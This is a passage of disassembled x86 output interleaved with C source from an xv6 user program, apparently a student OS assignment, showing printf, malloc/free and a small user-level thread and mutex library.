4d6: 66 90 xchg %ax,%ax
4d8: 66 90 xchg %ax,%ax
4da: 66 90 xchg %ax,%ax
4dc: 66 90 xchg %ax,%ax
4de: 66 90 xchg %ax,%ax
000004e0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
4e0: 55 push %ebp
4e1: 89 e5 mov %esp,%ebp
4e3: 57 push %edi
4e4: 56 push %esi
4e5: 89 c6 mov %eax,%esi
4e7: 53 push %ebx
4e8: 83 ec 4c sub $0x4c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
4eb: 8b 5d 08 mov 0x8(%ebp),%ebx
4ee: 85 db test %ebx,%ebx
4f0: 74 09 je 4fb <printint+0x1b>
4f2: 89 d0 mov %edx,%eax
4f4: c1 e8 1f shr $0x1f,%eax
4f7: 84 c0 test %al,%al
4f9: 75 75 jne 570 <printint+0x90>
neg = 1;
x = -xx;
} else {
x = xx;
4fb: 89 d0 mov %edx,%eax
neg = 0;
4fd: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
504: 89 75 c0 mov %esi,-0x40(%ebp)
}
i = 0;
507: 31 ff xor %edi,%edi
509: 89 ce mov %ecx,%esi
50b: 8d 5d d7 lea -0x29(%ebp),%ebx
50e: eb 02 jmp 512 <printint+0x32>
do{
buf[i++] = digits[x % base];
510: 89 cf mov %ecx,%edi
512: 31 d2 xor %edx,%edx
514: f7 f6 div %esi
516: 8d 4f 01 lea 0x1(%edi),%ecx
519: 0f b6 92 ef 0b 00 00 movzbl 0xbef(%edx),%edx
}while((x /= base) != 0);
520: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
522: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
525: 75 e9 jne 510 <printint+0x30>
if(neg)
527: 8b 55 c4 mov -0x3c(%ebp),%edx
buf[i++] = digits[x % base];
52a: 89 c8 mov %ecx,%eax
52c: 8b 75 c0 mov -0x40(%ebp),%esi
if(neg)
52f: 85 d2 test %edx,%edx
531: 74 08 je 53b <printint+0x5b>
buf[i++] = '-';
533: 8d 4f 02 lea 0x2(%edi),%ecx
536: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
while(--i >= 0)
53b: 8d 79 ff lea -0x1(%ecx),%edi
53e: 66 90 xchg %ax,%ax
540: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax
545: 83 ef 01 sub $0x1,%edi
write(fd, &c, 1);
548: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
54f: 00
550: 89 5c 24 04 mov %ebx,0x4(%esp)
554: 89 34 24 mov %esi,(%esp)
557: 88 45 d7 mov %al,-0x29(%ebp)
55a: e8 93 fe ff ff call 3f2 <write>
while(--i >= 0)
55f: 83 ff ff cmp $0xffffffff,%edi
562: 75 dc jne 540 <printint+0x60>
putc(fd, buf[i]);
}
564: 83 c4 4c add $0x4c,%esp
567: 5b pop %ebx
568: 5e pop %esi
569: 5f pop %edi
56a: 5d pop %ebp
56b: c3 ret
56c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
x = -xx;
570: 89 d0 mov %edx,%eax
572: f7 d8 neg %eax
neg = 1;
574: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
57b: eb 87 jmp 504 <printint+0x24>
57d: 8d 76 00 lea 0x0(%esi),%esi
00000580 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
580: 55 push %ebp
581: 89 e5 mov %esp,%ebp
583: 57 push %edi
char *s;
int c, i, state;
uint *ap;
state = 0;
584: 31 ff xor %edi,%edi
{
586: 56 push %esi
587: 53 push %ebx
588: 83 ec 3c sub $0x3c,%esp
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
58b: 8b 5d 0c mov 0xc(%ebp),%ebx
ap = (uint*)(void*)&fmt + 1;
58e: 8d 45 10 lea 0x10(%ebp),%eax
{
591: 8b 75 08 mov 0x8(%ebp),%esi
ap = (uint*)(void*)&fmt + 1;
594: 89 45 d4 mov %eax,-0x2c(%ebp)
for(i = 0; fmt[i]; i++){
597: 0f b6 13 movzbl (%ebx),%edx
59a: 83 c3 01 add $0x1,%ebx
59d: 84 d2 test %dl,%dl
59f: 75 39 jne 5da <printf+0x5a>
5a1: e9 ca 00 00 00 jmp 670 <printf+0xf0>
5a6: 66 90 xchg %ax,%ax
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
5a8: 83 fa 25 cmp $0x25,%edx
5ab: 0f 84 c7 00 00 00 je 678 <printf+0xf8>
write(fd, &c, 1);
5b1: 8d 45 e0 lea -0x20(%ebp),%eax
5b4: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
5bb: 00
5bc: 89 44 24 04 mov %eax,0x4(%esp)
5c0: 89 34 24 mov %esi,(%esp)
state = '%';
} else {
putc(fd, c);
5c3: 88 55 e0 mov %dl,-0x20(%ebp)
write(fd, &c, 1);
5c6: e8 27 fe ff ff call 3f2 <write>
5cb: 83 c3 01 add $0x1,%ebx
for(i = 0; fmt[i]; i++){
5ce: 0f b6 53 ff movzbl -0x1(%ebx),%edx
5d2: 84 d2 test %dl,%dl
5d4: 0f 84 96 00 00 00 je 670 <printf+0xf0>
if(state == 0){
5da: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
5dc: 0f be c2 movsbl %dl,%eax
if(state == 0){
5df: 74 c7 je 5a8 <printf+0x28>
}
} else if(state == '%'){
5e1: 83 ff 25 cmp $0x25,%edi
5e4: 75 e5 jne 5cb <printf+0x4b>
if(c == 'd' || c == 'u'){
5e6: 83 fa 75 cmp $0x75,%edx
5e9: 0f 84 99 00 00 00 je 688 <printf+0x108>
5ef: 83 fa 64 cmp $0x64,%edx
5f2: 0f 84 90 00 00 00 je 688 <printf+0x108>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
5f8: 25 f7 00 00 00 and $0xf7,%eax
5fd: 83 f8 70 cmp $0x70,%eax
600: 0f 84 aa 00 00 00 je 6b0 <printf+0x130>
putc(fd, '0');
putc(fd, 'x');
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
606: 83 fa 73 cmp $0x73,%edx
609: 0f 84 e9 00 00 00 je 6f8 <printf+0x178>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
60f: 83 fa 63 cmp $0x63,%edx
612: 0f 84 2b 01 00 00 je 743 <printf+0x1c3>
putc(fd, *ap);
ap++;
} else if(c == '%'){
618: 83 fa 25 cmp $0x25,%edx
61b: 0f 84 4f 01 00 00 je 770 <printf+0x1f0>
write(fd, &c, 1);
621: 8d 45 e6 lea -0x1a(%ebp),%eax
624: 83 c3 01 add $0x1,%ebx
627: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
62e: 00
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
62f: 31 ff xor %edi,%edi
write(fd, &c, 1);
631: 89 44 24 04 mov %eax,0x4(%esp)
635: 89 34 24 mov %esi,(%esp)
638: 89 55 d0 mov %edx,-0x30(%ebp)
63b: c6 45 e6 25 movb $0x25,-0x1a(%ebp)
63f: e8 ae fd ff ff call 3f2 <write>
putc(fd, c);
644: 8b 55 d0 mov -0x30(%ebp),%edx
write(fd, &c, 1);
647: 8d 45 e7 lea -0x19(%ebp),%eax
64a: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
651: 00
652: 89 44 24 04 mov %eax,0x4(%esp)
656: 89 34 24 mov %esi,(%esp)
putc(fd, c);
659: 88 55 e7 mov %dl,-0x19(%ebp)
write(fd, &c, 1);
65c: e8 91 fd ff ff call 3f2 <write>
for(i = 0; fmt[i]; i++){
661: 0f b6 53 ff movzbl -0x1(%ebx),%edx
665: 84 d2 test %dl,%dl
667: 0f 85 6d ff ff ff jne 5da <printf+0x5a>
66d: 8d 76 00 lea 0x0(%esi),%esi
}
}
}
670: 83 c4 3c add $0x3c,%esp
673: 5b pop %ebx
674: 5e pop %esi
675: 5f pop %edi
676: 5d pop %ebp
677: c3 ret
state = '%';
678: bf 25 00 00 00 mov $0x25,%edi
67d: e9 49 ff ff ff jmp 5cb <printf+0x4b>
682: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 10, 1);
688: c7 04 24 01 00 00 00 movl $0x1,(%esp)
68f: b9 0a 00 00 00 mov $0xa,%ecx
printint(fd, *ap, 16, 0);
694: 8b 45 d4 mov -0x2c(%ebp),%eax
state = 0;
697: 31 ff xor %edi,%edi
printint(fd, *ap, 16, 0);
699: 8b 10 mov (%eax),%edx
69b: 89 f0 mov %esi,%eax
69d: e8 3e fe ff ff call 4e0 <printint>
ap++;
6a2: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
6a6: e9 20 ff ff ff jmp 5cb <printf+0x4b>
6ab: 90 nop
6ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
write(fd, &c, 1);
6b0: 8d 45 e1 lea -0x1f(%ebp),%eax
6b3: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
6ba: 00
6bb: 89 44 24 04 mov %eax,0x4(%esp)
6bf: 89 34 24 mov %esi,(%esp)
6c2: c6 45 e1 30 movb $0x30,-0x1f(%ebp)
6c6: e8 27 fd ff ff call 3f2 <write>
6cb: 8d 45 e2 lea -0x1e(%ebp),%eax
6ce: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
6d5: 00
6d6: 89 44 24 04 mov %eax,0x4(%esp)
6da: 89 34 24 mov %esi,(%esp)
6dd: c6 45 e2 78 movb $0x78,-0x1e(%ebp)
6e1: e8 0c fd ff ff call 3f2 <write>
printint(fd, *ap, 16, 0);
6e6: b9 10 00 00 00 mov $0x10,%ecx
6eb: c7 04 24 00 00 00 00 movl $0x0,(%esp)
6f2: eb a0 jmp 694 <printf+0x114>
6f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
6f8: 8b 45 d4 mov -0x2c(%ebp),%eax
ap++;
6fb: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
s = (char*)*ap;
6ff: 8b 38 mov (%eax),%edi
s = "(null)";
701: b8 e8 0b 00 00 mov $0xbe8,%eax
706: 85 ff test %edi,%edi
708: 0f 44 f8 cmove %eax,%edi
while(*s != 0){
70b: 0f b6 07 movzbl (%edi),%eax
70e: 84 c0 test %al,%al
710: 74 2a je 73c <printf+0x1bc>
712: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
718: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
71b: 8d 45 e3 lea -0x1d(%ebp),%eax
s++;
71e: 83 c7 01 add $0x1,%edi
write(fd, &c, 1);
721: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
728: 00
729: 89 44 24 04 mov %eax,0x4(%esp)
72d: 89 34 24 mov %esi,(%esp)
730: e8 bd fc ff ff call 3f2 <write>
while(*s != 0){
735: 0f b6 07 movzbl (%edi),%eax
738: 84 c0 test %al,%al
73a: 75 dc jne 718 <printf+0x198>
state = 0;
73c: 31 ff xor %edi,%edi
73e: e9 88 fe ff ff jmp 5cb <printf+0x4b>
putc(fd, *ap);
743: 8b 45 d4 mov -0x2c(%ebp),%eax
state = 0;
746: 31 ff xor %edi,%edi
putc(fd, *ap);
748: 8b 00 mov (%eax),%eax
write(fd, &c, 1);
74a: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
751: 00
752: 89 34 24 mov %esi,(%esp)
putc(fd, *ap);
755: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
758: 8d 45 e4 lea -0x1c(%ebp),%eax
75b: 89 44 24 04 mov %eax,0x4(%esp)
75f: e8 8e fc ff ff call 3f2 <write>
ap++;
764: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
768: e9 5e fe ff ff jmp 5cb <printf+0x4b>
76d: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
770: 8d 45 e5 lea -0x1b(%ebp),%eax
state = 0;
773: 31 ff xor %edi,%edi
write(fd, &c, 1);
775: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
77c: 00
77d: 89 44 24 04 mov %eax,0x4(%esp)
781: 89 34 24 mov %esi,(%esp)
784: c6 45 e5 25 movb $0x25,-0x1b(%ebp)
788: e8 65 fc ff ff call 3f2 <write>
78d: e9 39 fe ff ff jmp 5cb <printf+0x4b>
792: 66 90 xchg %ax,%ax
794: 66 90 xchg %ax,%ax
796: 66 90 xchg %ax,%ax
798: 66 90 xchg %ax,%ax
79a: 66 90 xchg %ax,%ax
79c: 66 90 xchg %ax,%ax
79e: 66 90 xchg %ax,%ax
000007a0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
7a0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7a1: a1 a4 10 00 00 mov 0x10a4,%eax
{
7a6: 89 e5 mov %esp,%ebp
7a8: 57 push %edi
7a9: 56 push %esi
7aa: 53 push %ebx
7ab: 8b 5d 08 mov 0x8(%ebp),%ebx
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
7ae: 8b 08 mov (%eax),%ecx
bp = (Header*)ap - 1;
7b0: 8d 53 f8 lea -0x8(%ebx),%edx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7b3: 39 d0 cmp %edx,%eax
7b5: 72 11 jb 7c8 <free+0x28>
7b7: 90 nop
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
7b8: 39 c8 cmp %ecx,%eax
7ba: 72 04 jb 7c0 <free+0x20>
7bc: 39 ca cmp %ecx,%edx
7be: 72 10 jb 7d0 <free+0x30>
7c0: 89 c8 mov %ecx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7c2: 39 d0 cmp %edx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
7c4: 8b 08 mov (%eax),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7c6: 73 f0 jae 7b8 <free+0x18>
7c8: 39 ca cmp %ecx,%edx
7ca: 72 04 jb 7d0 <free+0x30>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
7cc: 39 c8 cmp %ecx,%eax
7ce: 72 f0 jb 7c0 <free+0x20>
break;
if(bp + bp->s.size == p->s.ptr){
7d0: 8b 73 fc mov -0x4(%ebx),%esi
7d3: 8d 3c f2 lea (%edx,%esi,8),%edi
7d6: 39 cf cmp %ecx,%edi
7d8: 74 1e je 7f8 <free+0x58>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
7da: 89 4b f8 mov %ecx,-0x8(%ebx)
if(p + p->s.size == bp){
7dd: 8b 48 04 mov 0x4(%eax),%ecx
7e0: 8d 34 c8 lea (%eax,%ecx,8),%esi
7e3: 39 f2 cmp %esi,%edx
7e5: 74 28 je 80f <free+0x6f>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
7e7: 89 10 mov %edx,(%eax)
freep = p;
7e9: a3 a4 10 00 00 mov %eax,0x10a4
}
7ee: 5b pop %ebx
7ef: 5e pop %esi
7f0: 5f pop %edi
7f1: 5d pop %ebp
7f2: c3 ret
7f3: 90 nop
7f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
7f8: 03 71 04 add 0x4(%ecx),%esi
7fb: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
7fe: 8b 08 mov (%eax),%ecx
800: 8b 09 mov (%ecx),%ecx
802: 89 4b f8 mov %ecx,-0x8(%ebx)
if(p + p->s.size == bp){
805: 8b 48 04 mov 0x4(%eax),%ecx
808: 8d 34 c8 lea (%eax,%ecx,8),%esi
80b: 39 f2 cmp %esi,%edx
80d: 75 d8 jne 7e7 <free+0x47>
p->s.size += bp->s.size;
80f: 03 4b fc add -0x4(%ebx),%ecx
freep = p;
812: a3 a4 10 00 00 mov %eax,0x10a4
p->s.size += bp->s.size;
817: 89 48 04 mov %ecx,0x4(%eax)
p->s.ptr = bp->s.ptr;
81a: 8b 53 f8 mov -0x8(%ebx),%edx
81d: 89 10 mov %edx,(%eax)
}
81f: 5b pop %ebx
820: 5e pop %esi
821: 5f pop %edi
822: 5d pop %ebp
823: c3 ret
824: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
82a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000830 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
830: 55 push %ebp
831: 89 e5 mov %esp,%ebp
833: 57 push %edi
834: 56 push %esi
835: 53 push %ebx
836: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
839: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
83c: 8b 1d a4 10 00 00 mov 0x10a4,%ebx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
842: 8d 48 07 lea 0x7(%eax),%ecx
845: c1 e9 03 shr $0x3,%ecx
if((prevp = freep) == 0){
848: 85 db test %ebx,%ebx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
84a: 8d 71 01 lea 0x1(%ecx),%esi
if((prevp = freep) == 0){
84d: 0f 84 9b 00 00 00 je 8ee <malloc+0xbe>
853: 8b 13 mov (%ebx),%edx
855: 8b 7a 04 mov 0x4(%edx),%edi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
858: 39 fe cmp %edi,%esi
85a: 76 64 jbe 8c0 <malloc+0x90>
85c: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax
if(nu < 4096)
863: bb 00 80 00 00 mov $0x8000,%ebx
868: 89 45 e4 mov %eax,-0x1c(%ebp)
86b: eb 0e jmp 87b <malloc+0x4b>
86d: 8d 76 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
870: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
872: 8b 78 04 mov 0x4(%eax),%edi
875: 39 fe cmp %edi,%esi
877: 76 4f jbe 8c8 <malloc+0x98>
879: 89 c2 mov %eax,%edx
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
87b: 3b 15 a4 10 00 00 cmp 0x10a4,%edx
881: 75 ed jne 870 <malloc+0x40>
if(nu < 4096)
883: 8b 45 e4 mov -0x1c(%ebp),%eax
886: 81 fe 00 10 00 00 cmp $0x1000,%esi
88c: bf 00 10 00 00 mov $0x1000,%edi
891: 0f 43 fe cmovae %esi,%edi
894: 0f 42 c3 cmovb %ebx,%eax
p = sbrk(nu * sizeof(Header));
897: 89 04 24 mov %eax,(%esp)
89a: e8 bb fb ff ff call 45a <sbrk>
if(p == (char*)-1)
89f: 83 f8 ff cmp $0xffffffff,%eax
8a2: 74 18 je 8bc <malloc+0x8c>
hp->s.size = nu;
8a4: 89 78 04 mov %edi,0x4(%eax)
free((void*)(hp + 1));
8a7: 83 c0 08 add $0x8,%eax
8aa: 89 04 24 mov %eax,(%esp)
8ad: e8 ee fe ff ff call 7a0 <free>
return freep;
8b2: 8b 15 a4 10 00 00 mov 0x10a4,%edx
if((p = morecore(nunits)) == 0)
8b8: 85 d2 test %edx,%edx
8ba: 75 b4 jne 870 <malloc+0x40>
return 0;
8bc: 31 c0 xor %eax,%eax
8be: eb 20 jmp 8e0 <malloc+0xb0>
if(p->s.size >= nunits){
8c0: 89 d0 mov %edx,%eax
8c2: 89 da mov %ebx,%edx
8c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
8c8: 39 fe cmp %edi,%esi
8ca: 74 1c je 8e8 <malloc+0xb8>
p->s.size -= nunits;
8cc: 29 f7 sub %esi,%edi
8ce: 89 78 04 mov %edi,0x4(%eax)
p += p->s.size;
8d1: 8d 04 f8 lea (%eax,%edi,8),%eax
p->s.size = nunits;
8d4: 89 70 04 mov %esi,0x4(%eax)
freep = prevp;
8d7: 89 15 a4 10 00 00 mov %edx,0x10a4
return (void*)(p + 1);
8dd: 83 c0 08 add $0x8,%eax
}
}
8e0: 83 c4 1c add $0x1c,%esp
8e3: 5b pop %ebx
8e4: 5e pop %esi
8e5: 5f pop %edi
8e6: 5d pop %ebp
8e7: c3 ret
prevp->s.ptr = p->s.ptr;
8e8: 8b 08 mov (%eax),%ecx
8ea: 89 0a mov %ecx,(%edx)
8ec: eb e9 jmp 8d7 <malloc+0xa7>
base.s.ptr = freep = prevp = &base;
8ee: c7 05 a4 10 00 00 a8 movl $0x10a8,0x10a4
8f5: 10 00 00
base.s.size = 0;
8f8: ba a8 10 00 00 mov $0x10a8,%edx
base.s.ptr = freep = prevp = &base;
8fd: c7 05 a8 10 00 00 a8 movl $0x10a8,0x10a8
904: 10 00 00
base.s.size = 0;
907: c7 05 ac 10 00 00 00 movl $0x0,0x10ac
90e: 00 00 00
911: e9 46 ff ff ff jmp 85c <malloc+0x2c>
916: 66 90 xchg %ax,%ax
918: 66 90 xchg %ax,%ax
91a: 66 90 xchg %ax,%ax
91c: 66 90 xchg %ax,%ax
91e: 66 90 xchg %ax,%ax
00000920 <benny_thread_create>:
static struct benny_thread_s *bt_new(void);
int
benny_thread_create(benny_thread_t *abt, void (*func)(void*), void *arg_ptr)
{
920: 55 push %ebp
921: 89 e5 mov %esp,%ebp
923: 56 push %esi
924: 53 push %ebx
925: 83 ec 10 sub $0x10,%esp
}
static struct benny_thread_s *
bt_new(void)
{
struct benny_thread_s *bt = malloc(sizeof(struct benny_thread_s));
928: c7 04 24 0c 00 00 00 movl $0xc,(%esp)
92f: e8 fc fe ff ff call 830 <malloc>
if (bt == NULL) {
934: 85 c0 test %eax,%eax
struct benny_thread_s *bt = malloc(sizeof(struct benny_thread_s));
936: 89 c6 mov %eax,%esi
if (bt == NULL) {
938: 74 66 je 9a0 <benny_thread_create+0x80>
// allocate 2 pages worth of memory and then make sure the
// beginning address used for the stack is page alligned.
// we want it page alligned so that we don't generate a
// page fault by accessing the stack for a thread.
bt->bt_stack = bt->mem_stack = malloc(PGSIZE * 2);
93a: c7 04 24 00 20 00 00 movl $0x2000,(%esp)
941: e8 ea fe ff ff call 830 <malloc>
if (bt->bt_stack == NULL) {
946: 85 c0 test %eax,%eax
bt->bt_stack = bt->mem_stack = malloc(PGSIZE * 2);
948: 89 c3 mov %eax,%ebx
94a: 89 46 08 mov %eax,0x8(%esi)
94d: 89 46 04 mov %eax,0x4(%esi)
if (bt->bt_stack == NULL) {
950: 74 5d je 9af <benny_thread_create+0x8f>
free(bt);
return NULL;
}
if (((uint) bt->bt_stack) % PGSIZE != 0) {
952: 25 ff 0f 00 00 and $0xfff,%eax
957: 75 37 jne 990 <benny_thread_create+0x70>
// allign the thread stack to a page boundary
bt->bt_stack += (PGSIZE - ((uint) bt->bt_stack) % PGSIZE);
}
bt->bid = -1;
959: c7 06 ff ff ff ff movl $0xffffffff,(%esi)
bt->bid = kthread_create(func, arg_ptr, bt->bt_stack);
95f: 8b 45 10 mov 0x10(%ebp),%eax
962: 89 5c 24 08 mov %ebx,0x8(%esp)
966: 89 44 24 04 mov %eax,0x4(%esp)
96a: 8b 45 0c mov 0xc(%ebp),%eax
96d: 89 04 24 mov %eax,(%esp)
970: e8 25 fb ff ff call 49a <kthread_create>
if (bt->bid != 0) {
975: 85 c0 test %eax,%eax
bt->bid = kthread_create(func, arg_ptr, bt->bt_stack);
977: 89 06 mov %eax,(%esi)
if (bt->bid != 0) {
979: 74 2d je 9a8 <benny_thread_create+0x88>
*abt = (benny_thread_t) bt;
97b: 8b 45 08 mov 0x8(%ebp),%eax
97e: 89 30 mov %esi,(%eax)
result = 0;
980: 31 c0 xor %eax,%eax
}
982: 83 c4 10 add $0x10,%esp
985: 5b pop %ebx
986: 5e pop %esi
987: 5d pop %ebp
988: c3 ret
989: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
bt->bt_stack += (PGSIZE - ((uint) bt->bt_stack) % PGSIZE);
990: 29 c3 sub %eax,%ebx
992: 81 c3 00 10 00 00 add $0x1000,%ebx
998: 89 5e 04 mov %ebx,0x4(%esi)
99b: eb bc jmp 959 <benny_thread_create+0x39>
99d: 8d 76 00 lea 0x0(%esi),%esi
9a0: 8b 1d 04 00 00 00 mov 0x4,%ebx
9a6: eb b7 jmp 95f <benny_thread_create+0x3f>
int result = -1;
9a8: b8 ff ff ff ff mov $0xffffffff,%eax
9ad: eb d3 jmp 982 <benny_thread_create+0x62>
free(bt);
9af: 89 34 24 mov %esi,(%esp)
return NULL;
9b2: 31 f6 xor %esi,%esi
free(bt);
9b4: e8 e7 fd ff ff call 7a0 <free>
9b9: 8b 5b 04 mov 0x4(%ebx),%ebx
9bc: eb a1 jmp 95f <benny_thread_create+0x3f>
9be: 66 90 xchg %ax,%ax
000009c0 <benny_thread_bid>:
{
9c0: 55 push %ebp
9c1: 89 e5 mov %esp,%ebp
return bt->bid;
9c3: 8b 45 08 mov 0x8(%ebp),%eax
}
9c6: 5d pop %ebp
return bt->bid;
9c7: 8b 00 mov (%eax),%eax
}
9c9: c3 ret
9ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000009d0 <benny_thread_join>:
{
9d0: 55 push %ebp
9d1: 89 e5 mov %esp,%ebp
9d3: 53 push %ebx
9d4: 83 ec 14 sub $0x14,%esp
9d7: 8b 5d 08 mov 0x8(%ebp),%ebx
retVal = kthread_join(bt->bid);
9da: 8b 03 mov (%ebx),%eax
9dc: 89 04 24 mov %eax,(%esp)
9df: e8 be fa ff ff call 4a2 <kthread_join>
if (retVal == 0) {
9e4: 85 c0 test %eax,%eax
9e6: 75 27 jne a0f <benny_thread_join+0x3f>
free(bt->mem_stack);
9e8: 8b 53 08 mov 0x8(%ebx),%edx
9eb: 89 45 f4 mov %eax,-0xc(%ebp)
9ee: 89 14 24 mov %edx,(%esp)
9f1: e8 aa fd ff ff call 7a0 <free>
bt->bt_stack = bt->mem_stack = NULL;
9f6: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
9fd: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx)
free(bt);
a04: 89 1c 24 mov %ebx,(%esp)
a07: e8 94 fd ff ff call 7a0 <free>
a0c: 8b 45 f4 mov -0xc(%ebp),%eax
}
a0f: 83 c4 14 add $0x14,%esp
a12: 5b pop %ebx
a13: 5d pop %ebp
a14: c3 ret
a15: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
a19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000a20 <benny_thread_exit>:
{
a20: 55 push %ebp
a21: 89 e5 mov %esp,%ebp
}
a23: 5d pop %ebp
return kthread_exit(exitValue);
a24: e9 81 fa ff ff jmp 4aa <kthread_exit>
a29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000a30 <benny_mootex_init>:
}
# ifdef BENNY_MOOTEX
int
benny_mootex_init(benny_mootex_t *benny_mootex)
{
a30: 55 push %ebp
a31: 89 e5 mov %esp,%ebp
a33: 8b 45 08 mov 0x8(%ebp),%eax
benny_mootex->locked = 0;
a36: c7 00 00 00 00 00 movl $0x0,(%eax)
benny_mootex->bid = -1;
a3c: c7 40 04 ff ff ff ff movl $0xffffffff,0x4(%eax)
return 0;
}
a43: 31 c0 xor %eax,%eax
a45: 5d pop %ebp
a46: c3 ret
a47: 89 f6 mov %esi,%esi
a49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000a50 <benny_mootex_yieldlock>:
int
benny_mootex_yieldlock(benny_mootex_t *benny_mootex)
{
a50: 55 push %ebp
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
a51: b8 01 00 00 00 mov $0x1,%eax
a56: 89 e5 mov %esp,%ebp
a58: 56 push %esi
a59: 53 push %ebx
a5a: 8b 5d 08 mov 0x8(%ebp),%ebx
a5d: f0 87 03 lock xchg %eax,(%ebx)
// #error this is the call to lock the mootex that will yield in a
// #error loop until the lock is acquired.
while(xchg(&benny_mootex->locked, 1) != 0){
a60: 85 c0 test %eax,%eax
a62: be 01 00 00 00 mov $0x1,%esi
a67: 74 15 je a7e <benny_mootex_yieldlock+0x2e>
a69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
benny_yield(void)
{
// # error This just gives up the rest of this scheduled time slice to
// # error another process/thread.
return kthread_yield();
a70: e8 45 fa ff ff call 4ba <kthread_yield>
a75: 89 f0 mov %esi,%eax
a77: f0 87 03 lock xchg %eax,(%ebx)
while(xchg(&benny_mootex->locked, 1) != 0){
a7a: 85 c0 test %eax,%eax
a7c: 75 f2 jne a70 <benny_mootex_yieldlock+0x20>
return kthread_self();
a7e: e8 2f fa ff ff call 4b2 <kthread_self>
benny_mootex->bid = benny_self();
a83: 89 43 04 mov %eax,0x4(%ebx)
}
a86: 31 c0 xor %eax,%eax
a88: 5b pop %ebx
a89: 5e pop %esi
a8a: 5d pop %ebp
a8b: c3 ret
a8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000a90 <benny_mootex_spinlock>:
{
a90: 55 push %ebp
a91: ba 01 00 00 00 mov $0x1,%edx
